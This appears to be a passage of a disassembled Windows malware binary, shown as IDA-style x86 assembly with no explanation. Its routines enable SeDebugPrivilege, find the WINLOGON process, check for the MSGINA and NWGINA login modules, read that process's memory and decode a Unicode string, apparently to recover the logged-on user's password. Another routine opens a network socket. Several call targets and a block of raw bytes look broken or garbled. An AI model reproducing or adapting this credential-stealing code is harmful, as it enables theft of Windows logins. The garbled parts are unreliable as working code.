		cmp	[ebp+arg_C], ebx
		jz	short loc_416C49
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h
		jmp	short loc_416CAA
; ---------------------------------------------------------------------------

loc_416C49:				; CODE XREF: sub_416C28+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CAF0C
		lea	esi, [eax+2]
		push	esi
		call	sub_41B4D5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CAF0C
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416CA1

loc_416C6D:				; CODE XREF: sub_416C28+77j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416C90
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h

loc_416C90:				; CODE XREF: sub_416C28+54j
		push	esi
		call	sub_41AFE0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416C6D

loc_416CA1:				; CODE XREF: sub_416C28+43j
		push	edi
		call	sub_41B0B1
		pop	ecx
		pop	edi
		pop	esi

loc_416CAA:				; CODE XREF: sub_416C28+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C28	endp

; ---------------------------------------------------------------------------
byte_416CAD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+689Fo
		dd 49CEC81h, 458B0000h,	57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh
		dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h
		dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h,	0FFFFFEECh
		dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh,	0FFFFFDE8h
		dd 79146850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h
		dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh
		dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh
		dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h
		dd 8D5018C4h, 0FFFB6485h, 78F468FFh, 0E8500043h, 4B06h
		dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh,	8D50F475h
		dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh
		dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h
		dd 0E8535959h, 22D923Ch, 5B5E5F90h, 81EC8B55h, 54CECh
		dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 5868FFFFh
		dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h
		dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h
		dd 93ECBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh,	0E8BD8054h
		dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh
		dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh
		dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh
		dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh,	45892CC4h
		dd 0BC858D1Ch, 50FFFFFEh, 90FC75FFh, 35917FE8h,	75C08502h
		dd 0FC75FF8Fh, 9172E890h, 75FF0233h, 0B8858D14h, 0FFFFFFFDh
		dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh
		dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh
		dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh,	43793Ch
		dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh
		dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h
		dd 50FFFFFEh, 0F9E89056h, 85023590h, 56B175C0h,	3390EFE8h
		dd 458B9002h, 5B5E5F1Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F1A	proc near		; DATA XREF: sub_401ACD+1CCFo

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41A8F4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416F59
		cmp	eax, 2
		jz	short loc_416F59
		push	offset unk_437B30
		jmp	loc_417098
; ---------------------------------------------------------------------------

loc_416F59:				; CODE XREF: sub_416F1A+2Ej
					; sub_416F1A+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417093
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	near ptr 26C0000h
		nop
		mov	esi, dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D3E1C, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D3E10, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D4020, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D3E18, eax
		call	esi
		mov	dword_4D3E14, eax
		call	sub_4170EC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417066
		mov	esi, dword_42713C
		mov	edi, 400h
		mov	ebx, offset dword_4D2E10
		push	edi
		push	ebx
		push	offset off_437A6C
		call	esi
		push	edi
		mov	edi, offset dword_4D3610
		push	edi
		push	offset off_437A54
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D4028
		push	[ebp+arg_0]
		jnz	short loc_417012
		call	sub_417275
		jmp	short loc_417017
; ---------------------------------------------------------------------------

loc_417012:				; CODE XREF: sub_416F1A+EFj
		call	sub_41741C

loc_417017:				; CODE XREF: sub_416F1A+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41705F
		cmp	dword_4D4028, 0
		jnz	short loc_417046
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_4379F8
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		jmp	short loc_417079
; ---------------------------------------------------------------------------

loc_417046:				; CODE XREF: sub_416F1A+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417056
		call	sub_417552
		jmp	short loc_41705B
; ---------------------------------------------------------------------------

loc_417056:				; CODE XREF: sub_416F1A+133j
		call	sub_4175E9

loc_41705B:				; CODE XREF: sub_416F1A+13Aj
		pop	ecx
		push	eax
		jmp	short loc_41706B
; ---------------------------------------------------------------------------

loc_41705F:				; CODE XREF: sub_416F1A+101j
		push	offset unk_4379C0
		jmp	short loc_41706B
; ---------------------------------------------------------------------------

loc_417066:				; CODE XREF: sub_416F1A+B6j
		push	offset unk_437994

loc_41706B:				; CODE XREF: sub_416F1A+143j
					; sub_416F1A+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_417079:				; CODE XREF: sub_416F1A+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 27A0457h
		pop	ebx
		jmp	short loc_4170A6
; ---------------------------------------------------------------------------

loc_417093:				; CODE XREF: sub_416F1A+4Ej
		push	offset unk_437960

loc_417098:				; CODE XREF: sub_416F1A+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_4170A6:				; CODE XREF: sub_416F1A+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4170CD
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409A72
		add	esp, 14h

loc_4170CD:				; CODE XREF: sub_416F1A+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4151AC
		push	[ebp+var_18]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
sub_416F1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170EC	proc near		; CODE XREF: sub_416F1A+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427148
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D3E1C
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27B0000h
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D3E1C
		test	eax, eax
		jnz	short loc_4171D9
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4171D9
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4171D9

loc_417175:				; CODE XREF: sub_4170EC+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4171CC
		push	0
		push	0
		call	dword_4D3E10
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D4020
		test	eax, eax
		jnz	short loc_4171BD
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4171F1

loc_4171BD:				; CODE XREF: sub_4170EC+AAj
		test	edi, edi
		jz	short loc_4171C8
		push	edi
		call	dword_4D3E18

loc_4171C8:				; CODE XREF: sub_4170EC+D3j
		mov	eax, [esp+28h+var_10]

loc_4171CC:				; CODE XREF: sub_4170EC+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417175

loc_4171D9:				; CODE XREF: sub_4170EC+6Dj
					; sub_4170EC+7Aj ...
		xor	edi, edi

loc_4171DB:				; CODE XREF: sub_4170EC+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 27B0000h
		nop
		mov	eax, edi

loc_4171E9:				; CODE XREF: sub_4170EC+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------

loc_4171F1:				; CODE XREF: sub_4170EC+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_41725A
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax

loc_417207:				; CODE XREF: sub_4170EC+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41726E
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41724C
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax

loc_41724C:				; CODE XREF: sub_4170EC+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417207

loc_41725A:				; CODE XREF: sub_4170EC+10Fj
		test	edi, edi
		jz	short loc_417265
		push	edi
		call	dword_4D3E18

loc_417265:				; CODE XREF: sub_4170EC+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4171DB
; ---------------------------------------------------------------------------

loc_41726E:				; CODE XREF: sub_4170EC+13Cj
		xor	eax, eax
		jmp	loc_4171E9
sub_4170EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417275	proc near		; CODE XREF: sub_416F1A+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	near ptr 2690805h
		nop
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41729E
		xor	eax, eax
		jmp	loc_417419
; ---------------------------------------------------------------------------

loc_41729E:				; CODE XREF: sub_417275+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		call	near ptr 27D024Fh
		nop
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427148
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427150
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_4172EE
		xor	esi, esi
		jmp	loc_41740C
; ---------------------------------------------------------------------------

loc_4172EE:				; CODE XREF: sub_417275+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	near ptr 27C0B8Fh
		nop
		test	eax, eax
		jz	loc_4173FB
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4173FB
		test	[ebp+var_2B], 1
		jnz	loc_4173FB
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4173FB

loc_417351:				; CODE XREF: sub_417275+112j
		push	edi
		push	offset dword_4D2E10
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417379
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D3610
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417389

loc_417379:				; CODE XREF: sub_417275+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4173FB
		jmp	short loc_417351
; ---------------------------------------------------------------------------

loc_417389:				; CODE XREF: sub_417275+102j
		test	edi, edi
		jz	short loc_4173FB
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 2760000h
		test	eax, eax
		jz	short loc_4173C4
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	near ptr 27508DDh
		nop
		test	eax, eax
		jz	short loc_4173C4
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax

loc_4173C4:				; CODE XREF: sub_417275+12Bj
					; sub_417275+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D4034, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D402C, eax
		mov	dword_4D4030, edi

loc_4173FB:				; CODE XREF: sub_417275+90j
					; sub_417275+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		call	near ptr 27B0000h
		nop
		mov	esi, [ebp+var_10]

loc_41740C:				; CODE XREF: sub_417275+74j
		push	[ebp+var_4]
		call	near ptr 2670909h
		nop
		pop	edi
		mov	eax, esi
		pop	ebx

loc_417419:				; CODE XREF: sub_417275+24j
		pop	esi
		leave
		retn
sub_417275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41741C	proc near		; CODE XREF: sub_416F1A:loc_417012p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	near ptr 2690805h
		nop
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41750E
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	near ptr 27D024Fh
		nop
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417505
		mov	edi, dword_427148

loc_417467:				; CODE XREF: sub_41741C+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27C0B8Fh
		test	eax, eax
		jz	short loc_4174F3
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4174F9
		test	[ebp+var_13], 1
		jnz	short loc_4174F9
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 27C0000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27D0000h
		test	eax, eax
		jz	short loc_4174E5
		push	offset dword_4D2E10
		push	esi
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174E5
		lea	eax, [esi+400h]
		push	offset dword_4D3610
		push	eax
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417515

loc_4174E5:				; CODE XREF: sub_41741C+9Fj
					; sub_41741C+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 27B0000h
		jmp	short loc_4174F9
; ---------------------------------------------------------------------------

loc_4174F3:				; CODE XREF: sub_41741C+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax

loc_4174F9:				; CODE XREF: sub_41741C+71j
					; sub_41741C+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417467

loc_417505:				; CODE XREF: sub_41741C+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 2670909h

loc_41750E:				; CODE XREF: sub_41741C+1Ej
		xor	eax, eax

loc_417510:				; CODE XREF: sub_41741C+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_417515:				; CODE XREF: sub_41741C+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D402C, ebx
		mov	dword_4D4030, eax
		cmp	[eax], cl
		jnz	short loc_417537
		cmp	[eax+1], cl
		jz	short loc_41753F

loc_417537:				; CODE XREF: sub_41741C+114j
					; sub_41741C+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417537

loc_41753F:				; CODE XREF: sub_41741C+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 2670909h
		push	1
		pop	eax
		jmp	short loc_417510
sub_41741C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417552	proc near		; CODE XREF: sub_416F1A+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D4028
		push	esi
		mov	esi, dword_427148
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 27C0000h
		mov	ecx, dword_4D4028
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D4030
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D4034
		push	eax
		call	dword_4D3E14
		push	[ebp+var_4]
		mov	edi, offset dword_4D3E20
		push	offset dword_4D2E10
		push	offset dword_4D3610
		push	[ebp+arg_0]
		push	offset dword_437B7C
		push	200h
		push	edi
		call	sub_41B980
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27B0000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175E9	proc near		; CODE XREF: sub_416F1A:loc_417056p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D4028
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 27C0AF4h
		push	eax
		nop
		call	near ptr 27C0000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D3610
		mov	edi, 200h
		mov	esi, offset dword_4D2C10

loc_41762F:				; CODE XREF: sub_4175E9+FAj
		mov	eax, dword_4D4028
		add	eax, eax
		push	eax
		push	dword_4D4030
		push	[ebp+var_14]
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D3E14
		mov	eax, dword_4D4028
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176A4

loc_41766C:				; CODE XREF: sub_4175E9+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417690
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417690
		cmp	dl, 20h
		jnb	short loc_41768A
		and	[ebp+var_8], 0

loc_41768A:				; CODE XREF: sub_4175E9+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417694

loc_417690:				; CODE XREF: sub_4175E9+90j
					; sub_4175E9+96j
		and	[ebp+var_8], 0

loc_417694:				; CODE XREF: sub_4175E9+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_41766C
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1

loc_4176A4:				; CODE XREF: sub_4175E9+81j
		push	[ebp+var_14]
		push	offset dword_4D2E10
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437B7C
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 1Ch
		jmp	short loc_4176D9
; ---------------------------------------------------------------------------

loc_4176C1:				; CODE XREF: sub_4175E9+87j
					; sub_4175E9+B9j
		push	offset dword_4D2E10
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437BCC
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 18h

loc_4176D9:				; CODE XREF: sub_4175E9+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_41762F
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 27C0AF4h
		push	eax
		nop
		call	near ptr 27B0000h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417702	proc near		; CODE XREF: sub_4178BA+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB024
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41777E
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAFA4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFE4
		cmp	eax, esi
		jnz	short loc_417763
		push	[ebp+arg_0]
		call	dword_4CB028
		test	eax, eax
		jz	short loc_41777E
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_417763:				; CODE XREF: sub_417702+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF4C
		cmp	eax, esi
		jnz	short loc_417782
		push	edi
		call	dword_4CB03C

loc_41777E:				; CODE XREF: sub_417702+1Bj
					; sub_417702+58j
		mov	eax, esi
		jmp	short loc_417784
; ---------------------------------------------------------------------------

loc_417782:				; CODE XREF: sub_417702+73j
		mov	eax, edi

loc_417784:				; CODE XREF: sub_417702+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417702	endp


; =============== S U B	R O U T	I N E =======================================



sub_417788	proc near		; CODE XREF: sub_401ACD+3294p
					; sub_401ACD+3300p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_4299C8 ; "\n"
		push	edi
		call	sub_41BEC0
		pop	ecx
		mov	esi, offset dword_4D403C
		pop	ecx

loc_4177A0:				; CODE XREF: sub_417788+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4177BE
		cmp	dword ptr [esi], 0
		jbe	short loc_4177BE
		push	0
		push	edi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CAFF4

loc_4177BE:				; CODE XREF: sub_417788+1Cj
					; sub_417788+21j
		add	esi, 210h
		cmp	esi, offset dword_4DA75C
		jl	short loc_4177A0
		pop	edi
		pop	esi
		retn
sub_417788	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177CF	proc near		; CODE XREF: sub_4178BA+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CA60 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C0F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx

loc_4177F4:				; CODE XREF: sub_4177CF+35j
		push	esi
		push	0
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
